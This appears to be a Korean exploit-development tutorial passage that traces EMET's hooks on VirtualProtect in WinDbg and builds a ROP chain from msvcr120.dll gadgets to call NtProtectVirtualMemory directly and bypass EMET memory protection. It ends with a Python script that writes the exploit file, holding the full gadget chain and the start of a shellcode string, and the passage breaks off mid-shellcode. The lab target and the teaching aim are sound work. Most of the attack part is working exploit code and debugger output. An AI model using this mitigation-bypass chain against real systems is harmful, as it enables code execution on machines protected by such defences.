WinDbg를 통해 어떤 일이 발생되고 있는지 살펴보도록 합시다. 먼저 WinDbg에서 exploitme3.exe를 열고 exploitme3!f 에 breakpoint를 걸어 둡니다. 함수 f까지 간 후, ret 명령 이후에 ROP 코드를 만날 것입니다. VirtualProtect로 점프할 때까지 계속 진행합니다.
그러면 뭔가 이상한 것을 볼 수 있습니다.
kernel32!VirtualProtectStub:
763b4327 e984c1b5c0 jmp 36f104b0 <------------------ is this a hook?
763b432c 5d pop ebp
763b432d e996cdffff jmp kernel32!VirtualProtect (763b10c8)
763b4332 8b0e mov ecx,dword ptr [esi]
763b4334 8908 mov dword ptr [eax],ecx
763b4336 8b4e04 mov ecx,dword ptr [esi+4]
763b4339 894804 mov dword ptr [eax+4],ecx
763b433c e9e9eaffff jmp kernel32!LocalBaseRegEnumKey+0x292 (763b2e2a)
763b4341 8b85d0feffff mov eax,dword ptr [ebp-130h]
함수가 jmp 로 시작합니다! 이게 어디로 우리를 대려가는지 따라가봅시다.
36f104b0 83ec24 sub esp,24h
36f104b3 68e88b1812 push 12188BE8h
36f104b8 6840208f70 push offset EMET!EMETSendCert+0xac0 (708f2040)
36f104bd 68d604f136 push 36F104D6h
36f104c2 6804000000 push 4
36f104c7 53 push ebx
36f104c8 60 pushad
36f104c9 54 push esp
36f104ca e8816c9a39 call EMET+0x27150 (708b7150)
36f104cf 61 popad
36f104d0 83c438 add esp,38h
36f104d3 c21000 ret 10h
네. EMET네요. EMET에 의해 jmp 로 훅(hook)을 걸어 VirtualProtect 호출을 가로챕니다.
만약 훅이 없다면 VirtualProtectStub이 kernel32!VirtualProtect를 호출하는지 살펴보도록 합시다. 먼저 아래 코드를 보시죠.
0:000> u kernel32!VirtualProtect
kernel32!VirtualProtect:
763b10c8 ff2518093b76 jmp dword ptr [kernel32!_imp__VirtualProtect (763b0918)]
763b10ce 90 nop
763b10cf 90 nop
763b10d0 90 nop
763b10d1 90 nop
763b10d2 90 nop
kernel32!WriteProcessMemory:
763b10d3 ff251c093b76 jmp dword ptr [kernel32!_imp__WriteProcessMemory (763b091c)]
763b10d9 90 nop
EMET와 관련없는 것 같습니다.
0:000> u poi(763b0918)
KERNELBASE!VirtualProtect:
7625efc3 e9d815cbc0 jmp 36f105a0 <----------------- another hook from EMET
7625efc8 ff7514 push dword ptr [ebp+14h]
7625efcb ff7510 push dword ptr [ebp+10h]
7625efce ff750c push dword ptr [ebp+0Ch]
7625efd1 ff7508 push dword ptr [ebp+8]
7625efd4 6aff push 0FFFFFFFFh
7625efd6 e8c1feffff call KERNELBASE!VirtualProtectEx (7625ee9c)
7625efdb 5d pop ebp
EMET 훅이 있습니다. VirtualProtect는 현재 프로세스에서 동작하는 반면에 VirtualProtectEx는 원하는 프로세스를 지정할 수 있습니다. 보시면 VirtualProtect는 VirtualProtectEx 호출 시, -1 값을 첫 번째 인자로 넘기는데 이 값은 GetCurrentProcess()의 반환 값입니다. 다른 인자들은 VirtualProtect에 넘어온 인자들과 동일합니다.
VirtualProtectEx를 살펴보도록 하겠습니다.
0:000> u KERNELBASE!VirtualProtectEx
KERNELBASE!VirtualProtectEx:
7625ee9c e97717cbc0 jmp 36f10618 <----------------- another hook from EMET
7625eea1 56 push esi
7625eea2 8b35c0112576 mov esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57 push edi
7625eea9 ff7518 push dword ptr [ebp+18h]
7625eeac 8d4510 lea eax,[ebp+10h]
7625eeaf ff7514 push dword ptr [ebp+14h]
7625eeb2 50 push eax
0:000> u
KERNELBASE!VirtualProtectEx+0x17:
7625eeb3 8d450c lea eax,[ebp+0Ch]
7625eeb6 50 push eax
7625eeb7 ff7508 push dword ptr [ebp+8]
7625eeba ffd6 call esi <------------------- calls NtProtectVirtualMemory
7625eebc 8bf8 mov edi,eax
7625eebe 85ff test edi,edi
7625eec0 7c05 jl KERNELBASE!VirtualProtectEx+0x2b (7625eec7)
7625eec2 33c0 xor eax,eax
또, EMET 훅입니다. VirtualProtectEx는 NtProtectVirtualMemory를 호출합니다.
0:000> u poi(KERNELBASE!_imp__NtProtectVirtualMemory)
ntdll!ZwProtectVirtualMemory:
76eb0038 e9530606c0 jmp 36f10690 <----------------- this is getting old...
76eb003d 33c9 xor ecx,ecx
76eb003f 8d542404 lea edx,[esp+4]
76eb0043 64ff15c0000000 call dword ptr fs:[0C0h]
76eb004a 83c404 add esp,4
76eb004d c21400 ret 14h
ntdll!ZwQuerySection:
76eb0050 b84e000000 mov eax,4Eh
76eb0055 33c9 xor ecx,ecx
이제 좀 익숙해보입니다. ZwProtectVirtualMemory는 ring 0 서비스 호출입니다! 이 서비스 번호는 EMET 훅에 의해 덮어 써지지만 다음 함수의 서비스 번호가 0x4E인걸 봐서 0x4d정도가 괜찮은 추측이 될 것 같습니다.
VirtualProtectEx의 다른 곳을 보시면, ZwProtectVirtualMemory는 VirtualProtectEx에 넘어온 인자들과 다른 형태의 인자를 EDX가 가리키고 있음을 볼 수 있습니다. 좀더 자세히 살펴보기 위해 MemProt을 비활성화 시키고 WinDbg에서 exploitme3.exe를 다시 실행 시켜 (Ctrl + Shift + F5) 아래 breakpoint걸어 봅니다.
bp exploitme3!f "bp KERNELBASE!VirtualProtectEx;g"
ROP chain에 의해 VirtualProtectEx를 호출 할 때 멈추게 됩니다. F5를 눌르면 다음과 같이 되게 됩니다.
KERNELBASE!VirtualProtectEx:
7625ee9c 8bff mov edi,edi <-------------------- we are here!
7625ee9e 55 push ebp
7625ee9f 8bec mov ebp,esp
7625eea1 56 push esi
7625eea2 8b35c0112576 mov esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57 push edi
7625eea9 ff7518 push dword ptr [ebp+18h]
7625eeac 8d4510 lea eax,[ebp+10h]
7625eeaf ff7514 push dword ptr [ebp+14h]
7625eeb2 50 push eax
7625eeb3 8d450c lea eax,[ebp+0Ch]
7625eeb6 50 push eax
7625eeb7 ff7508 push dword ptr [ebp+8]
7625eeba ffd6 call esi
이번에는 예상하셧다 시피, 훅은 없습니다. 이 스택에는 5개 인자가 존재합니다.
스택에 어떤 값이 있는지 살펴보도록 하겠습니다.
KERNELBASE!VirtualProtectEx:
7625ee9c 8bff mov edi,edi <-------------------- we are here!
7625ee9e 55 push ebp
7625ee9f 8bec mov ebp,esp
7625eea1 56 push esi
7625eea2 8b35c0112576 mov esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57 push edi
7625eea9 ff7518 push dword ptr [ebp+18h] // lpflOldProtect (writable location)
7625eeac 8d4510 lea eax,[ebp+10h]
7625eeaf ff7514 push dword ptr [ebp+14h] // PAGE_EXECUTE_READWRITE
7625eeb2 50 push eax // ptr to size
7625eeb3 8d450c lea eax,[ebp+0Ch]
7625eeb6 50 push eax // ptr to address
7625eeb7 ff7508 push dword ptr [ebp+8] // 0xffffffff (current process)
7625eeba ffd6 call esi
호출 내부로 들어가보도록 하겠습니다.
ntdll!ZwProtectVirtualMemory:
76eb0038 b84d000000 mov eax,4Dh
76eb003d 33c9 xor ecx,ecx
76eb003f 8d542404 lea edx,[esp+4]
76eb0043 64ff15c0000000 call dword ptr fs:[0C0h]
76eb004a 83c404 add esp,4
76eb004d c21400 ret 14h
EDX는 다음 순서대로 5개 인자를 가리키고 있습니다.
0xffffffff (current process)
ptr to address
ptr to size
PAGE_EXECUTE_READWRITE
lpflOldProtect (writable location)
아래는 구체적인 예 입니다.
동작하지 않을 수도 있는 ROP chain을 만드느라 시간을 소모하기 전에, 먼저 우리가 고려하지 못한 다른것이 없도록 명확해야 합니다.
이를 쉽게 하기 위해 MemProt을 활성화 시키고 exploitme3.exe를 디버깅 한 뒤, EMET의에 원본 코드로 덮어 씁니다. 동작이 잘 진행 되었다면 이제 진행할 준비가 되었습니다. 이 부분은 숙제로 남겨두도록 하죠. (꼭 해보세요!!)
ROP chain 만들기
디버그 레지스터를 초기화 하기 위해 우리가 했던 방식으로 커널 서비스를 호출 할 수 있지만, 이번에는 ROP 가젯으로 해야 하기 때문에 훨씬 더 어려울 것입니다.
문제는 msvcr120.dll에는 어떤 call dword ptr fs:[0C0h]나 call fs:[eax], call fs:eax 같은 것들이 없다는 것입니다. ntdll에는 이런 것들이 많은데 그러면 이런 명령어들의 주소를 얻을 수 있는 방법이 있을까요?
msvcr120.dll의 IAT (Import Address Table)을 보면 다음과 같습니다.
0:000> !dh msvcr120
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
5 number of sections
524F7CE6 time date stamp Sat Oct 05 04:43:50 2013
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2122 characteristics
Executable
App can handle >2gb addresses
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
12.00 linker version
DC200 size of code
DC00 size of initialized data
0 size of uninitialized data
11A44 address of entry point
1000 base of code
----- new -----
73c60000 image base
1000 section alignment
200 file alignment
2 subsystem (Windows GUI)
6.00 operating system version
10.00 image version
6.00 subsystem version
EE000 size of image
400 size of headers
FB320 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
1860 [ CED0] address [size] of Export Directory
E52BC [ 28] address [size] of Import Directory
E7000 [ 3E8] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
E9200 [ 3EA0] address [size] of Security Directory
E8000 [ 5D64] address [size] of Base Relocation Directory
DD140 [ 38] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
19E48 [ 40] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
E5000 [ 2BC] address [size] of Import Address Table Directory <------------------------
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
[...]
0:000> dds msvcr120+E5000 L 2bc/4
73d45000 76ed107b ntdll!RtlEncodePointer
73d45004 76ec9dd5 ntdll!RtlDecodePointer
73d45008 763b586e kernel32!RaiseExceptionStub
73d4500c 763b11c0 kernel32!GetLastErrorStub
73d45010 763b79d8 kernel32!FSPErrorMessages::CMessageMapper::StaticCleanup+0xc
73d45014 763b3470 kernel32!GetModuleHandleWStub
73d45018 763b4a37 kernel32!GetModuleHandleExWStub
73d4501c 763b1222 kernel32!GetProcAddressStub
73d45020 76434611 kernel32!AreFileApisANSIStub
73d45024 763b18fa kernel32!MultiByteToWideCharStub
73d45028 763b16d9 kernel32!WideCharToMultiByteStub
73d4502c 763b5169 kernel32!GetCommandLineAStub
73d45030 763b51eb kernel32!GetCommandLineWStub
73d45034 763b1420 kernel32!GetCurrentThreadIdStub
73d45038 76eb22c0 ntdll!RtlEnterCriticalSection
73d4503c 76eb2280 ntdll!RtlLeaveCriticalSection
73d45040 76ec4625 ntdll!RtlDeleteCriticalSection
73d45044 763b1481 kernel32!GetModuleFileNameAStub
73d45048 763b11a9 kernel32!SetLastError
73d4504c 763b17b8 kernel32!GetCurrentThreadStub
73d45050 763b4918 kernel32!GetModuleFileNameWStub
73d45054 763b51fd kernel32!IsProcessorFeaturePresent
73d45058 763b517b kernel32!GetStdHandleStub
73d4505c 763b1282 kernel32!WriteFileImplementation
73d45060 763b440a kernel32!FindCloseStub
73d45064 764347bf kernel32!FindFirstFileExAStub
73d45068 763dd52e kernel32!FindNextFileAStub
73d4506c 763c17d9 kernel32!FindFirstFileExWStub
73d45070 763b54b6 kernel32!FindNextFileWStub
73d45074 763b13e0 kernel32!CloseHandleImplementation
73d45078 763b3495 kernel32!CreateThreadStub
73d4507c 76ee801c ntdll!RtlExitUserThread
73d45080 763b43b7 kernel32!ResumeThreadStub
73d45084 763b4925 kernel32!LoadLibraryExWStub
73d45088 763d0622 kernel32!SystemTimeToTzSpecificLocalTimeStub
73d4508c 763b53f4 kernel32!FileTimeToSystemTimeStub
73d45090 7643487f kernel32!GetDiskFreeSpaceAStub
73d45094 763b5339 kernel32!GetLogicalDrivesStub
73d45098 763b1acc kernel32!SetErrorModeStub
73d4509c 764256f0 kernel32!BeepImplementation
73d450a0 763b10ff kernel32!SleepStub
73d450a4 763be289 kernel32!GetFullPathNameAStub
73d450a8 763b11f8 kernel32!GetCurrentProcessIdStub
73d450ac 763b453c kernel32!GetFileAttributesExWStub
73d450b0 763cd4c7 kernel32!SetFileAttributesWStub
73d450b4 763b409c kernel32!GetFullPathNameWStub
73d450b8 763b4221 kernel32!CreateDirectoryWStub
73d450bc 763c9b05 kernel32!MoveFileExW
73d450c0 76434a0f kernel32!RemoveDirectoryWStub
73d450c4 763b4153 kernel32!GetDriveTypeWStub
73d450c8 763b897b kernel32!DeleteFileWStub
73d450cc 763be2f9 kernel32!SetEnvironmentVariableAStub
73d450d0 763c17fc kernel32!SetCurrentDirectoryAStub
73d450d4 763dd4e6 kernel32!GetCurrentDirectoryAStub
73d450d8 763c1228 kernel32!SetCurrentDirectoryWStub
73d450dc 763b55d9 kernel32!GetCurrentDirectoryWStub
73d450e0 763b89b9 kernel32!SetEnvironmentVariableWStub
73d450e4 763b1136 kernel32!WaitForSingleObject
73d450e8 763c1715 kernel32!GetExitCodeProcessImplementation
73d450ec 763b1072 kernel32!CreateProcessA
73d450f0 763b3488 kernel32!FreeLibraryStub
73d450f4 763b48db kernel32!LoadLibraryExAStub
73d450f8 763b103d kernel32!CreateProcessW
73d450fc 763b3e93 kernel32!ReadFileImplementation
73d45100 763d273c kernel32!GetTempPathA
73d45104 763cd4ac kernel32!GetTempPathW
73d45108 763b1852 kernel32!DuplicateHandleImplementation
73d4510c 763b17d5 kernel32!GetCurrentProcessStub
73d45110 763b34c9 kernel32!GetSystemTimeAsFileTimeStub
73d45114 763b4622 kernel32!GetTimeZoneInformationStub
73d45118 763b5a6e kernel32!GetLocalTimeStub
73d4511c 763dd4fe kernel32!LocalFileTimeToFileTimeStub
73d45120 763cec8b kernel32!SetFileTimeStub
73d45124 763b5a46 kernel32!SystemTimeToFileTimeStub
73d45128 76434a6f kernel32!SetLocalTimeStub
73d4512c 76ec47a0 ntdll!RtlInterlockedPopEntrySList
73d45130 76ec27b5 ntdll!RtlInterlockedFlushSList
73d45134 76ec474c ntdll!RtlQueryDepthSList
73d45138 76ec4787 ntdll!RtlInterlockedPushEntrySList
73d4513c 763db000 kernel32!CreateTimerQueueStub
73d45140 763b1691 kernel32!SetEventStub
73d45144 763b1151 kernel32!WaitForSingleObjectExImplementation
73d45148 7643ebeb kernel32!UnregisterWait
73d4514c 763b11e0 kernel32!TlsGetValueStub
73d45150 763cf874 kernel32!SignalObjectAndWait
73d45154 763b14cb kernel32!TlsSetValueStub
73d45158 763b327b kernel32!SetThreadPriorityStub
73d4515c 7643462b kernel32!ChangeTimerQueueTimerStub
73d45160 763cf7bb kernel32!CreateTimerQueueTimerStub
73d45164 76432482 kernel32!GetNumaHighestNodeNumber
73d45168 763dcaf5 kernel32!RegisterWaitForSingleObject
73d4516c 76434ca1 kernel32!GetLogicalProcessorInformationStub
73d45170 763ccd9d kernel32!RtlCaptureStackBackTraceStub
73d45174 763b4387 kernel32!GetThreadPriorityStub
73d45178 763ba839 kernel32!GetProcessAffinityMask
73d4517c 763d0570 kernel32!SetThreadAffinityMask
73d45180 763b4975 kernel32!TlsAllocStub
73d45184 763cf7a3 kernel32!DeleteTimerQueueTimerStub
73d45188 763b3547 kernel32!TlsFreeStub
73d4518c 763cefbc kernel32!SwitchToThreadStub
73d45190 76ec2540 ntdll!RtlTryEnterCriticalSection
73d45194 7643347c kernel32!SetProcessAffinityMask
73d45198 763b183a kernel32!VirtualFreeStub
73d4519c 763b1ab1 kernel32!GetVersionExWStub
73d451a0 763b1822 kernel32!VirtualAllocStub
73d451a4 763b4327 kernel32!VirtualProtectStub
73d451a8 76ec9514 ntdll!RtlInitializeSListHead
73d451ac 763cd37b kernel32!ReleaseSemaphoreStub
73d451b0 763db901 kernel32!UnregisterWaitExStub
73d451b4 763b48f3 kernel32!LoadLibraryW
73d451b8 763dd1c4 kernel32!OutputDebugStringWStub
73d451bc 763cd552 kernel32!FreeLibraryAndExitThreadStub
73d451c0 763b1245 kernel32!GetModuleHandleAStub
73d451c4 7643592b kernel32!GetThreadTimes
73d451c8 763b180a kernel32!CreateEventWStub
73d451cc 763b1912 kernel32!GetStringTypeWStub
73d451d0 763b445b kernel32!IsValidCodePageStub
73d451d4 763b1768 kernel32!GetACPStub
73d451d8 763dd191 kernel32!GetOEMCPStub
73d451dc 763b5151 kernel32!GetCPInfoStub
73d451e0 763dd1b3 kernel32!RtlUnwindStub
73d451e4 763b1499 kernel32!HeapFree
73d451e8 76ebe046 ntdll!RtlAllocateHeap
73d451ec 763b14b9 kernel32!GetProcessHeapStub
73d451f0 76ed2561 ntdll!RtlReAllocateHeap
73d451f4 76ec304a ntdll!RtlSizeHeap
73d451f8 7643493f kernel32!HeapQueryInformationStub
73d451fc 763cb153 kernel32!HeapValidateStub
73d45200 763b46df kernel32!HeapCompactStub
73d45204 7643496f kernel32!HeapWalkStub
73d45208 763b4992 kernel32!GetSystemInfoStub
73d4520c 763b4422 kernel32!VirtualQueryStub
73d45210 763b34f1 kernel32!GetFileTypeImplementation
73d45214 763b4d08 kernel32!GetStartupInfoWStub
73d45218 763be266 kernel32!FileTimeToLocalFileTimeStub
73d4521c 763b5376 kernel32!GetFileInformationByHandleStub
73d45220 76434d61 kernel32!PeekNamedPipeStub
73d45224 763b3f1c kernel32!CreateFileWImplementation
73d45228 763b1328 kernel32!GetConsoleMode
73d4522c 764578d2 kernel32!ReadConsoleW
73d45230 76458137 kernel32!GetConsoleCP
73d45234 763cc7df kernel32!SetFilePointerExStub
73d45238 763b4663 kernel32!FlushFileBuffersImplementation
73d4523c 7643469b kernel32!CreatePipeStub
73d45240 76434a8f kernel32!SetStdHandleStub
73d45244 76457e77 kernel32!GetNumberOfConsoleInputEvents
73d45248 76457445 kernel32!PeekConsoleInputA
73d4524c 7645748b kernel32!ReadConsoleInputA
73d45250 763ca755 kernel32!SetConsoleMode
73d45254 764574ae kernel32!ReadConsoleInputW
73d45258 763d7a92 kernel32!WriteConsoleW
73d4525c 763cce06 kernel32!SetEndOfFileStub
73d45260 763dd56c kernel32!LockFileExStub
73d45264 763dd584 kernel32!UnlockFileExStub
73d45268 763b4a25 kernel32!IsDebuggerPresentStub
73d4526c 763d76f7 kernel32!UnhandledExceptionFilter
73d45270 763b8791 kernel32!SetUnhandledExceptionFilter
73d45274 763b18e2 kernel32!InitializeCriticalSectionAndSpinCountStub
73d45278 763cd7d2 kernel32!TerminateProcessStub
73d4527c 763b110c kernel32!GetTickCountStub
73d45280 763cca32 kernel32!CreateSemaphoreW
73d45284 763b89d1 kernel32!SetConsoleCtrlHandler
73d45288 763b16f1 kernel32!QueryPerformanceCounterStub
73d4528c 763b51ab kernel32!GetEnvironmentStringsWStub
73d45290 763b5193 kernel32!FreeEnvironmentStringsWStub
73d45294 763d34a7 kernel32!GetDateFormatW
73d45298 763cf451 kernel32!GetTimeFormatW
73d4529c 763b3b8a kernel32!CompareStringWStub
73d452a0 763b1785 kernel32!LCMapStringWStub
73d452a4 763b3c02 kernel32!GetLocaleInfoWStub
73d452a8 763cce1e kernel32!IsValidLocaleStub
73d452ac 763b3d65 kernel32!GetUserDefaultLCIDStub
73d452b0 7643479f kernel32!EnumSystemLocalesWStub
73d452b4 763db297 kernel32!OutputDebugStringAStub
73d452b8 00000000
저는 ntdll 함수들 하나 하나 찾아 가면서 가능성 있는 후보를 하나 찾았습니다. (ntdll!RtlExitUserThread)
한 번 살펴보도록 하죠.
ntdll!RtlExitUserThread:
76ee801c 8bff mov edi,edi
76ee801e 55 push ebp
76ee801f 8bec mov ebp,esp
76ee8021 51 push ecx
76ee8022 56 push esi
76ee8023 33f6 xor esi,esi
76ee8025 56 push esi
76ee8026 6a04 push 4
76ee8028 8d45fc lea eax,[ebp-4]
76ee802b 50 push eax
76ee802c 6a0c push 0Ch
76ee802e 6afe push 0FFFFFFFEh
76ee8030 8975fc mov dword ptr [ebp-4],esi
76ee8033 e8d07bfcff call ntdll!NtQueryInformationThread (76eafc08) <-------------------
이제 ntdll!NtQueryInformationThread를 살펴 보도록 하죠.
ntdll!NtQueryInformationThread:
76eafc08 b822000000 mov eax,22h
76eafc0d 33c9 xor ecx,ecx
76eafc0f 8d542404 lea edx,[esp+4]
76eafc13 64ff15c0000000 call dword ptr fs:[0C0h]
76eafc1a 83c404 add esp,4
76eafc1d c21400 ret 14h
완벽합니다! 근데 어떻게 call dword tpr fs:[0C0h]의 주소를 결정할 수 있을까요?
우리는 msvcr120의 IAT에 있는 고정된 RVA를 이용하여 ntdll!RtlExitUserThread주소를 알 수 있습니다. ntdll!RtlExitUserThread+0x17 주소에서 우리는 ntdll!NtQueryInformationThread를 호출합니다. 호출 형태는 다음과 같습니다.
here:
E8 offset
그리고 목적 주소는 다음과 같습니다.
here + offset + 5
ROP 에서 ntdll!NtQueryInformationThread의 주소를 결정하기 위해 다음과 같이 합니다.
EAX = 0x7056507c ; ptr to address of ntdll!RtlExitUserThread (IAT)
EAX = [EAX] ; address of ntdll!RtlExitUserThread
EAX += 0x18 ; address of "offset" component of call to ntdll!NtQueryInformationThread
EAX += [EAX] + 4 ; address of ntdll!NtQueryInformationThread
EAX += 0xb ; address of "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
이제 ROP chain을 만들 준비가 되었습니다! 항상 그랫듯 mona를 이용합니다.
.load pykd.pyd
!py mona rop -m msvcr120
아래는 파이썬 스크립트 전체 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 | import struct msvcr120 = 0x73c60000 # Delta used to fix the addresses based on the new base address of msvcr120.dll. md = msvcr120 - 0x70480000 def create_rop_chain(code_size): rop_gadgets = [ # ecx = esp md + 0x704af28c, # POP ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0xffffffff, md + 0x70532761, # AND ECX,ESP # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ} # ecx = args+8 (&endAddress) md + 0x704f4681, # POP EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 75*4, md + 0x7054b28e, # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, # address = ptr to address md + 0x704f2487, # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704846b4, # XCHG EAX,EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704e986b, # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] 0x11111111, # for RETN 0x04 # ecx = args+4 (ptr to &address) md + 0x704f4681, # POP EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0xfffffff0, md + 0x7054b28e, # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, # &address = ptr to address md + 0x704e986b, # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] 0x11111111, # for RETN 0x04 # ecx = args+8 (ptr to &size) md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} # edx = ptr to size md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} # &size = ptr to size md + 0x704e986b, # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] 0x11111111, # for RETN 0x04 # edx = args md + 0x704f2487, # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, md + 0x704846b4, # XCHG EAX,EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} # EAX = ntdll!RtlExitUserThread md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x7056507c, # IAT: &ntdll!RtlExitUserThread md + 0x70501e19, # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ} 0x11111111, 0x11111111, # EAX = ntdll!NtQueryInformationThread md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704a691c, # ADD EAX,DWORD PTR [EAX] # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ} md + 0x704ecd87, # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x11111111, 0x11111111, md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] 0x11111111, # for RETN 0x04 # EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h" md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} # EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h" md + 0x704819e8, # XCHG EAX,EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} # ECX = 0; EAX = 0x4d md + 0x704f2485, # XOR ECX,ECX # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ} 0x4d, md + 0x704c0a08, # JMP EBX md + 0x7055adf3, # JMP ESP 0x11111111, # for RETN 0x14 0x11111111, # for RETN 0x14 0x11111111, # for RETN 0x14 0x11111111, # for RETN 0x14 0x11111111, # for RETN 0x14 # real_code: 0x90901eeb, # jmp skip # args: 0xffffffff, # current process handle 0x11111111, # &address = ptr to address 0x11111111, # &size = ptr to size 0x40, md + 0x705658f2, # &Writable location [MSVCR120.dll] # end_args: 0x11111111, # address <------- the region starts here code_size + 8 # size # skip: ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def write_file(file_path): with open(file_path, 'wb') as f: ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll] shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + 